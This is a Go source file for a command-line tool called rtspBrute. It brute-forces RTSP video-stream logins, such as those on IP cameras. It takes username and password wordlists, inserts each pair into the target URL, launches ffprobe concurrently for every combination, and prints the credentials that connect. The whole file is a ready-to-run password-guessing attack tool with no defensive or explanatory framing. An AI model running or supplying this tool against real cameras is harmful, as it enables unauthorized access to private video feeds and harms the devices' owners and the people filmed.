package main import ( "flag" "fmt" "os" "os/exec" "bufio" "strings" "sync" "log" ) func main() { targetURL := flag.String("t", "", "Target RTSP server URL (ex. rtsp://127.0.0.1/)") usernamesFile := flag.String("u", "", "File with usernames") passwordsFile := flag.String("p", "", "File with passwords") flag.Parse() if *targetURL == "" || *usernamesFile == "" || *passwordsFile == "" { fmt.Println("Usage: rtspBrute -t -u -p ") return } usernames, err := readLines(*usernamesFile) if err != nil { fmt.Printf("Error reading usernames file: %v\n", err) return } passwords, err := readLines(*passwordsFile) if err != nil { fmt.Printf("Error reading passwords file: %v\n", err) return } var wg sync.WaitGroup parts := strings.SplitN(*targetURL, "://", 2) if len(parts) == 2 { protocol := parts[0] ipAndPath := parts[1] ffprobePath, ffprobeErr := exec.LookPath("ffprobe") if ffprobeErr != nil { log.Println("ffprobe is not found in the PATH or current directory") return } for _, username := range usernames { for _, password := range passwords { modifiedURL := protocol + "://" + username + ":" + password + "@" + ipAndPath cmd := exec.Command(ffprobePath, "-rtsp_transport", "tcp", modifiedURL) wg.Add(1) go func(username, password string) { defer wg.Done() if err := cmd.Run(); err == nil { fmt.Printf("Login successful: Username: %s, Password: %s\n", username, password) } }(username, password) } } } else { fmt.Printf("Invalid RTSP URL: %s\n", *targetURL) } wg.Wait() } func readLines(filename string) ([]string, error) { file, err := os.Open(filename) if err != nil { return nil, err } defer file.Close() var lines []string scanner := bufio.NewScanner(file) for scanner.Scan() { lines = append(lines, strings.TrimSpace(scanner.Text())) } if err := scanner.Err(); err != nil { return nil, err } return lines, nil }